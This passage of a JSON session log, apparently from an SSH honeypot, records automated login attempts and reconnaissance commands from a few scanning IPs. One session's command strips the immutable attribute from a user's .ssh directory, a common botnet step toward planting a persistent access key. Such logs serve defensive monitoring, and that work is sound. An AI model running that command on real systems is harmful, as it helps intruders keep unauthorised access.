  "id": "21b68c4f-d5f0-4e61-b96d-da25e1381904",
  "name": "stoic-tender-puffin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.92.40.217",
  "src_port": 45166,
  "username": "elastic",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T02:30:04.649531+00:00",
  "ended_at": "2026-08-27T02:30:07.089442+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "ec9a9d2c-1655-44fa-99af-6f39b52c9b03",
  "name": "proud-frank-grouse",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 41930,
  "username": "elastic",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 294,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:30:01.187174+00:00",
  "ended_at": "2026-08-27T02:30:07.085537+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1660
 },
 {
  "id": "d4b8204a-adc6-47e3-8abf-58c0f3ea7364",
  "name": "lunar-steady-turnstone",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 58526,
  "username": "postgres",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 219,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:29:48.429040+00:00",
  "ended_at": "2026-08-27T02:29:50.008148+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "d2ed0ae5-3684-4459-8743-abd8b5c7cb49",
  "name": "placid-fleeting-oxpecker",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "118.194.228.101",
  "src_port": 53928,
  "username": "admin",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T02:29:46.085188+00:00",
  "ended_at": "2026-08-27T02:29:47.125407+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "1e16b01e-9d97-4014-9389-d0d6ee5fe6dd",
  "name": "languid-mighty-impala",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 58468,
  "username": "debian",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 210,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:29:35.639116+00:00",
  "ended_at": "2026-08-27T02:29:37.102693+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "224d7ec8-c546-4972-ac66-035b489d0555",
  "name": "grassy-velvet-kudu",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 32864,
  "username": "user1",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 270,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:29:30.825652+00:00",
  "ended_at": "2026-08-27T02:29:31.571070+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "5caa8338-6ca2-43a8-b431-786ef952642f",
  "name": "rustic-upland-stoat",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 60066,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 209,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:29:21.810326+00:00",
  "ended_at": "2026-08-27T02:29:22.231279+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "0f1d4e65-f8eb-4cc3-a33b-8a67009ece93",
  "name": "granite-arctic-grouse",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 59976,
  "username": "support",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 202,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:29:13.506095+00:00",
  "ended_at": "2026-08-27T02:29:14.242189+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "09e69ef3-3f80-4c0f-a2cb-1e34e9909168",
  "name": "knotted-frugal-goldcrest",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 55576,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 184,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:29:00.169329+00:00",
  "ended_at": "2026-08-27T02:29:00.250859+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "a80974b7-aa69-4443-8241-4a615ce55be0",
  "name": "idle-merry-redshank",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 33258,
  "username": "odoo18",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 297,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:28:54.550280+00:00",
  "ended_at": "2026-08-27T02:28:54.683259+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "df84865b-2c1b-4c73-985c-e4d218b3c132",
  "name": "brave-pristine-stonechat",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.92.40.217",
  "src_port": 33202,
  "username": "gg",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T02:28:47.614305+00:00",
  "ended_at": "2026-08-27T02:28:51.353011+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "b012df71-fcae-4901-8475-98e900024789",
  "name": "burly-airy-goldcrest",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 58424,
  "username": "gg",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 251,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:28:46.952116+00:00",
  "ended_at": "2026-08-27T02:28:51.354106+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1655
 },
 {
  "id": "4abb95fd-ef87-41d2-ba11-701eb676ac62",
  "name": "hazy-dusky-skink",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.92.40.217",
  "src_port": 58364,
  "username": "user",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T02:28:35.713157+00:00",
  "ended_at": "2026-08-27T02:28:37.086808+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "d16db196-7d5c-42d1-aca3-07751c81cb2f",
  "name": "vigilant-daring-cougar",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 44016,
  "username": "sam",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 291,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:28:13.527259+00:00",
  "ended_at": "2026-08-27T02:28:17.792015+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "61f882c1-2c16-4e5b-a2fe-cf4d9cfb8910",
  "name": "umber-shifting-marten",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 48606,
  "username": "media",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 320,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:28:11.528956+00:00",
  "ended_at": "2026-08-27T02:28:15.986936+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "7d34c5e4-190e-4caf-85db-d99f94be28c1",
  "name": "shifting-gallant-stonechat",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 38014,
  "username": "postgres",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 247,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:28:03.514473+00:00",
  "ended_at": "2026-08-27T02:28:08.351713+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "a8622101-7b39-4f5a-97b2-88336240d767",
  "name": "solar-knotted-brambling",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.92.40.217",
  "src_port": 45572,
  "username": "cursor",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T02:27:56.749885+00:00",
  "ended_at": "2026-08-27T02:27:59.357366+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "3441b938-4b16-4cdd-b542-56b109b1f230",
  "name": "brazen-electric-gharial",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 52852,
  "username": "cursor",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 259,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:27:53.437825+00:00",
  "ended_at": "2026-08-27T02:27:59.358716+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1659
 },
 {
  "id": "b3f77095-61e6-4f59-ad26-dd69b7fc0ad7",
  "name": "coral-earnest-nightjar",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 37938,
  "username": "ubuntu",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 334,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:27:52.600312+00:00",
  "ended_at": "2026-08-27T02:27:56.562142+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "45e7b51a-db82-42b7-bfcb-8edd56599e9a",
  "name": "merry-serene-hamster",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.92.40.217",
  "src_port": 53254,
  "username": "odoo17",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T02:27:43.534437+00:00",
  "ended_at": "2026-08-27T02:27:46.648732+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "7690f89a-145f-420d-b699-00efda27925c",
  "name": "vaulted-windswept-bushbaby",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 35014,
  "username": "milad",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 283,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:27:42.679731+00:00",
  "ended_at": "2026-08-27T02:27:45.654885+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "035b4904-b3cd-4b74-91a6-a67bc8240466",
  "name": "frugal-fearless-pochard",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 58730,
  "username": "odoo17",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 285,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:27:37.549504+00:00",
  "ended_at": "2026-08-27T02:27:46.646757+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1657
 },
 {
  "id": "12ae3236-5424-4c2c-a36d-a6aa81123087",
  "name": "tangled-hearty-walrus",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 58624,
  "username": "claude",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 380,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:27:20.362254+00:00",
  "ended_at": "2026-08-27T02:27:24.060520+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "a24f410d-f961-42c4-b2f6-ebf0be665ff9",
  "name": "lunar-subtle-eider",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 57942,
  "username": "frappe",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 299,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:27:18.592532+00:00",
  "ended_at": "2026-08-27T02:27:21.428576+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "4ab7c17f-fd4a-4f19-9e20-963f9595e640",
  "name": "windswept-seaward-camel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 43058,
  "username": "node",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 473,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:27:14.905588+00:00",
  "ended_at": "2026-08-27T02:27:20.657074+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "64c4cea7-e732-426c-9a31-3ab843d2a25d",
  "name": "glacial-tangled-curlew",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 42994,
  "username": "deploy",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 316,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:27:13.971952+00:00",
  "ended_at": "2026-08-27T02:27:18.784940+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "c1d730f6-0400-4b4e-9eff-4b5a19b1fa25",
  "name": "flinty-painted-numbat",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 46178,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 233,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:27:03.815102+00:00",
  "ended_at": "2026-08-27T02:27:07.936727+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "a0d34dad-6286-40f0-9fff-5ff2ffb87d08",
  "name": "zealous-lawful-chickadee",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "118.194.228.101",
  "src_port": 34832,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 522,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T02:27:02.181397+00:00",
  "ended_at": "2026-08-27T02:27:03.575059+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "cd2f9c40-dade-4c10-84aa-b31a1c44c123",
  "name": "autumn-tawny-whimbrel",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.92.40.217",
  "src_port": 52904,
  "username": "aiuser",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T02:27:01.723755+00:00",
  "ended_at": "2026-08-27T02:27:03.431122+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "ed353520-ebbe-42ab-924f-829a07431a16",
  "name": "graceful-lawful-tanager",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.92.40.217",
  "src_port": 52876,
  "username": "qw",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T02:26:58.821585+00:00",
  "ended_at": "2026-08-27T02:27:01.266379+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "d99cdd30-24c6-4085-95bd-17e30e745fb5",
  "name": "lofty-jaunty-gerbil",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 46440,
  "username": "test",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 345,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:26:58.005602+00:00",
  "ended_at": "2026-08-27T02:27:03.119218+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "41b23420-9c51-4c61-8486-eaef051847e8",
  "name": "windswept-lofty-capuchin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 46384,
  "username": "aiuser",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 376,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:26:56.526557+00:00",
  "ended_at": "2026-08-27T02:27:03.430287+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1659
 },
 {
  "id": "a75f71cf-5641-428c-bcc2-96e5bd26437c",
  "name": "shaded-jagged-okapi",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 42102,
  "username": "qw",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 415,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:26:52.874935+00:00",
  "ended_at": "2026-08-27T02:27:01.270687+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1655
 },
 {
  "id": "af67e4d2-2785-4329-9b9c-c211163ce03a",
  "name": "blunt-quartz-mallard",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.92.40.217",
  "src_port": 34974,
  "username": "sdadmin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T02:26:46.053542+00:00",
  "ended_at": "2026-08-27T02:26:48.501223+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "87509961-23b9-4b35-9902-0cebf1870ba7",
  "name": "thrifty-lanky-swallow",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 43932,
  "username": "sdadmin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 362,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:26:42.499191+00:00",
  "ended_at": "2026-08-27T02:26:48.502592+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1660
 },
 {
  "id": "b29f6bd0-18a8-465c-afea-53e219109e65",
  "name": "boreal-ashen-pika",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "118.194.228.101",
  "src_port": 39184,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T02:26:42.385386+00:00",
  "ended_at": "2026-08-27T02:26:44.046015+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "dcf34b81-2ec0-4c33-b9ea-2a1e6ab2d9cb",
  "name": "wandering-gallant-bison",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "118.194.228.101",
  "src_port": 34840,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T02:26:39.911154+00:00",
  "ended_at": "2026-08-27T02:26:41.330970+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "41392d31-9584-4aed-abd8-daf6499536a6",
  "name": "spirited-regal-wheatear",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 43822,
  "username": "ubuntu",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 295,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:26:30.782193+00:00",
  "ended_at": "2026-08-27T02:26:35.178856+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "28fc1afa-9495-4e5d-882f-9db1a782695e",
  "name": "airy-nameless-alpaca",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.92.40.217",
  "src_port": 43076,
  "username": "user2",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T02:26:22.061919+00:00",
  "ended_at": "2026-08-27T02:26:24.759253+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "13b65fa5-b8a3-4746-b85b-e4f762632974",
  "name": "silent-wry-armadillo",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 37042,
  "username": "user2",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 339,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:26:18.360471+00:00",
  "ended_at": "2026-08-27T02:26:24.757842+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1659
 },
 {
  "id": "c05ecf64-628f-441d-af7a-6186ea40af74",
  "name": "dappled-mighty-gecko",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 38050,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 277,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:26:16.856881+00:00",
  "ended_at": "2026-08-27T02:26:21.408898+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "4483e013-3f1c-4e7b-b6f9-7463570e3302",
  "name": "vivid-nimble-reindeer",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 57518,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 362,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:26:11.652480+00:00",
  "ended_at": "2026-08-27T02:26:14.854042+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "2454e3e6-a985-491b-b00b-61d7fff10775",
  "name": "polar-wry-hornbill",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 41024,
  "username": "claude",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 293,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:25:57.857786+00:00",
  "ended_at": "2026-08-27T02:26:01.289372+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "3a243130-7e42-48d8-b1b5-dc1581784823",
  "name": "gilded-proud-sloth",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.57.121.112",
  "src_port": 33848,
  "username": "michayla",
  "client_version": "SSH-2.0-PuTTY_Release_0.84",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T02:25:56.425089+00:00",
  "ended_at": "2026-08-27T02:25:56.863987+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "1463ad5f-a77c-42a6-864c-1fdf75e8b832",
  "name": "hushed-coastal-roebuck",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 36978,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 369,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:25:53.408391+00:00",
  "ended_at": "2026-08-27T02:25:56.308507+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "2e6c0147-bb49-42de-b0c5-077422f1b90a",
  "name": "glassy-steady-barbet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 41956,
  "username": "dev",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 214,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:25:42.435331+00:00",
  "ended_at": "2026-08-27T02:25:45.587250+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "b4bea968-bfa2-42a6-9f33-ae8b6bb0f37b",
  "name": "feral-steady-turnstone",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.92.40.217",
  "src_port": 57550,
  "username": "manoj",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T02:25:32.286027+00:00",
  "ended_at": "2026-08-27T02:25:34.585453+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "b7f72ec9-b9c1-41a4-8332-75c26fed4862",
  "name": "gallant-graceful-springbok",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 41878,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 345,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:25:30.809047+00:00",
  "ended_at": "2026-08-27T02:25:34.197614+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "6376bf85-a667-40b7-942e-780ce97d9bb8",
  "name": "wiry-nameless-siskin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 47268,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 404,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:25:30.076396+00:00",
  "ended_at": "2026-08-27T02:25:36.239934+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "0eb29a51-86eb-46b8-937f-b5286d789f8b",
  "name": "mellow-forlorn-gull",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 35630,
  "username": "manoj",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 266,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:25:26.083523+00:00",
  "ended_at": "2026-08-27T02:25:34.587051+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1661
 },
 {
  "id": "ca0b6794-5f73-4463-a781-16561f5a420b",
  "name": "umber-valiant-bonobo",
  "protocol": "ssh",
  "channel_kind": null,
